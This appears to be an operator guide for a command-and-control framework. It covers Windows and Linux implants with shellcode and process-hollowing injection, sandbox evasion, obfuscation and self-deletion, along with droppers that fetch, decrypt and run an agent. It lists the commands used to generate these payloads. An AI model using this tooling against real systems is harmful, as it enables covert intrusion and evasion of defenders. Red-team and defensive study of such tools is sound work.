Agents and Stagers Guide

Table of Contents

Trinity

The Trinity Agent, is the flagship agent of the framework, it is a Golang, Windows-based, feature-rich, polymorphicly generated payload designed for advanced operations. It is compiled to a native executable and provides extensive capabilities for post-exploitation activities.

Architecture

The Trinity Agent is built with a modular architecture that allows operators to customize the payload size and functionality by including or excluding specific features. This architecture separates core C2 functionality from advanced features, enabling operators to create lightweight payloads when advanced capabilities are not needed.

Core Components

  • Communication Layer: Handles registration, task retrieval, and result submission
  • Command Execution: Basic command execution capabilities
  • Encryption: Fernet-based encryption for secure communications
  • Failover Support: Automatic failover to backup C2 servers
  • Working Hours & Kill Date: Schedule-based execution controls
  • Sandbox Detection: Basic evasion checks (when enabled)

Advanced Feature Modules

The agent supports the following modular features that can be selectively included:

  1. BOF (Beacon Object File) Module Execute COFF files in memory:
execute-bof <bof_filename> [arguments] [agent_id=<agent_id>]
  1. .NET Assembly Module Execute .NET assemblies in memory:
execute-assembly <assembly_filename> [agent_id=<agent_id>]
  1. Shellcode Injection Module Inject and execute shellcode in target processes using multiple injection techniques (NtQueueApcThread, NtCreateThreadEx, CreateRemoteThread, etc.)
pinject <b64_shellcode_filename> [agent_id=<agent_id>]
  1. PE Injection Module Inject and execute PE files in target processes using Process hollowing techniques:
peinject <pe_filename> [agent_id=<agent_id>]
  1. Reverse Proxy (SOCKS5) Module Built-in SOCKS5 proxy functionality provides pivoting capabilities:
reverse_proxy_start
reverse_proxy_stop
  1. Enhanced Sandbox Detection Anti-analysis and evasion checks. Process monitoring, network tools detection, and debugger checks, automatically runs before agent registration.

Feature Flags

The Trinity Agent supports feature exclusion flags to reduce payload size, complexity and detection risk:

Available Exclusion Flags

  • --no-bof: Excludes Beacon Object File execution capability
  • --no-assembly: Excludes .NET assembly execution capability
  • --no-pe: Excludes PE injection capability
  • --no-shellcode: Excludes shellcode injection capability
  • --no-reverse-proxy: Excludes reverse proxy (SOCKS5) capability
  • --no-sandbox: Excludes advanced sandbox detection capability

Usage Examples

Default agent with all features:

payload trinity web_app_default

Agent excluding BOF execution:

payload trinity web_app_default --no-bof

Agent excluding multiple features:

payload trinity web_app_default --no-bof --no-assembly --no-pe

Agent with all advanced features excluded:

payload trinity web_app_default --no-bof --no-assembly --no-pe --no-shellcode --no-reverse-proxy --no-sandbox

Payload Generation

The payload generation process uses a modular approach where the final agent is assembled from separate Go source files based on selected features. This approach provides several benefits:

  1. Reduced Payload Size: Excluding features significantly reduces the final executable size
  2. Faster Compilation: Fewer dependencies and code to compile
  3. Evasion: Smaller, simpler payloads may evade detection better
  4. Flexibility: Operators can choose only the capabilities needed
  5. Maintainability: Modular code is easier to maintain and update

Command Support

The agent's command processing is dynamically adjusted based on included features:

  • Core Commands (always available):
  • pwsh <powershell_filename - Execute powershell scripts in-memory
  • download <path> - Download files from the target
  • upload <path> <data> - Upload files to the target
  • sleep <seconds> - Change agent check-in interval
  • kill - Self-delete the agent
  • cmd <command> - Direct command execution (shell commands)

  • tty_shell - Enter a full TTY Shell

  • Feature-Specific Commands (available when feature is included):

  • execute-bof <bof_filename> [arguments] [agent_id=<agent_id>] - Execute BOF (when BOF feature included)
  • execute-assembly <assembly_filename> [agent_id=<agent_id>] - Execute .NET assembly (when assembly feature included)
  • pinject <b64_shellcode_filename [agent_id=<agent_id>] - Inject shellcode (when shellcode feature included)
  • peinject <pe_filename> [agent_id=<agent_id>] - Inject PE file (when PE feature included)
  • reverse_proxy_start/stop - Control SOCKS5 proxy (when reverse proxy feature included)

When a feature is excluded, attempting to use its commands will return an appropriate error message indicating that the capability is not available in the current agent build.

Dependencies

The modular approach conditionally includes external dependencies based on selected features:

  • Core: github.com/fernet/fernet-go
  • BOF & Execute-PE: agents/goffloader/ (with randomized Junk code injected directly into the library to change its signature per build)
  • Assembly: agents/go-clr/ (with randomized Junk code injected directly into the library to change its signature per build)
  • All other functionality uses Go's standard library and Windows syscalls

Import Obfuscation

This encrypts DLL imports and Windows API functions strings to evade static analysis and signature-based detection, which typically inspect the Import Address Table (IAT). During runtime, a XOR decryption routine is used to reconstruct the correct names. The secret key used for this operation is a simple XOR key with the value 0x42 (66 in decimal) at default. This key is defined in the Go agent template, and used in the runtime deobfuscation where each byte of the obfuscated string is XORed with the key to get the original strings. To override this default key, Use --obfuscate flag during payload generation, it randomizes this key and obfuscated bytes to make each agent unique.

Other Security Considerations

  • Polymorphic Engine: Function and variable names are randomized for each payload
  • String Obfuscation: Critical strings are obfuscated to evade static analysis

Morpheus

Description

Morpheus is a Python cross-platforn agent with very limited capability.

Tested

  • Windows x64 (Compile to exe on a Windows host)
  • Linux Debian

Capabilities

  • Proxy Awareness: Supports Network pivoting using its built-in SOCKS5 proxy reverse_proxy_start, reverse_proxy_stop
  • Command Execution: Execute arbitrary shell commands on the target system (using PowerShell) cmd <command>
  • PowerShell Module Execution: Runs external powershell modules with pwsh
  • File Transfer: Upload and download files using base64 encoding upload, download
  • Interactive Mode: Enter real-time interactive session with the target interact
  • TTY Shell Enabled: Enter a full TTY Shell tty_shell
  • Anti Debugging, Sandbox Detection & Self Deletion: Works on Windows, Linux Hosts.
  • Polymorphic Obfuscation: Randomized variable and function names to evade static analysis
  • Jitter & Sleep Obfuscation: Configurable sleep intervals with jitter during agent generation and in deployment
  • Cross-Platform: Works on Windows, Linux
  • Sanbox & Debugger Detection: Self deletes in sandboxed environment
  • Working hours & Kill dates: Incorporates a profile configurable kill-dates and working-hours restrictions
  • Redirector Support: Allows operators to define and manage external infrastructure that points to the internal listeners
  • Failover deployment: Embeds failover C2 servers

Limitations

  • Lightweight and doesn't pack advanced feature-set

Usage

NeoC2 > payload morpheus <listener_id> [--obfuscate] [--disable-sandbox] [--linux] [--redirector] [--use-failover]
NeoC2 [INTERACTIVE:abc123] > [reverse_proxy_start, reverse_proxy_stop, cmd, pwsh, upload, download, tty_shell, sleep, kill, interact, run]

Usage Examples

Default agent

payload morpheus web_app_default

Agent compiled to linux binary (with PyInstaller)

payload morpheus web_app_default --linux

Agent with disabled sandbox detection and anti-debuggers

payload morpheus web_app_default --disable-sandbox

Agent with embeded failover servers

payload morpheus web_app_default --use-failover

Droppers

Description

IMPORTANT: These are DROPPERS only - they download an agent from the default static payload staging API /api/assets/main.js unless the operator explicitly define their custom staging endpoint using download_uri=, Stagers XOR decrypts, execute the implant, and then delete themselves. They do NOT contain interactive capabilities or command execution features. These are designed purely for initial access and agent deployment. For seamless operation, use the payload_upload feature to stage payloads first with a custom endpoint, the stager will do the rest.

Supported Types

Bash Dropper

  • Linux compatibility
  • Downloads agent from /api/assets/main.js endpoint and XOR derypts using embedded secret key
  • Executes the downloaded agent
  • Self-deletes after execution
  • Binary payload support: Can only execute linux binary files after temporary storage

Usage

stager generate linux_binary host=<c2_host> port=<c2_port> [protocol=https] [download_uri=/api/assets/main.js]

Usage Examples

# Upload Agent to a non-default custom staging endpoint
payload_upload upload logs/payload_web_app_default_morpheus_20251224_175614.py uri=/api/ag.py

# Stager downloads Agent from https://127.0.0.1:7443/api/ag.py
stager generate linux_binary host=127.0.0.1 port=7443 protocol=https download_uri=/api/ag.py

Powershell Dropper

  • Windows compatibility
  • Downloads agent from /api/assets/main.js endpoint and XOR derypts using embedded secret key
  • Executes the downloaded agent
  • Self-deletes after execution
  • Binary payload support: Can only execute windows .exe binary files

Usage

stager generate windows_exe host=<c2_host> port=<c2_port> [protocol=https] [download_uri=/api/assets/main.js]

Usage Examples

# Upload Agent to a non-default custom staging endpoint
payload_upload upload logs/trinity_20251224_175614.py uri=/api/updater.exe

# Stager downloads Agent from https://127.0.0.1:7443/api/updater.exe
stager generate windows_exe host=127.0.0.1 port=7443 protocol=https download_uri=/api/updater.exe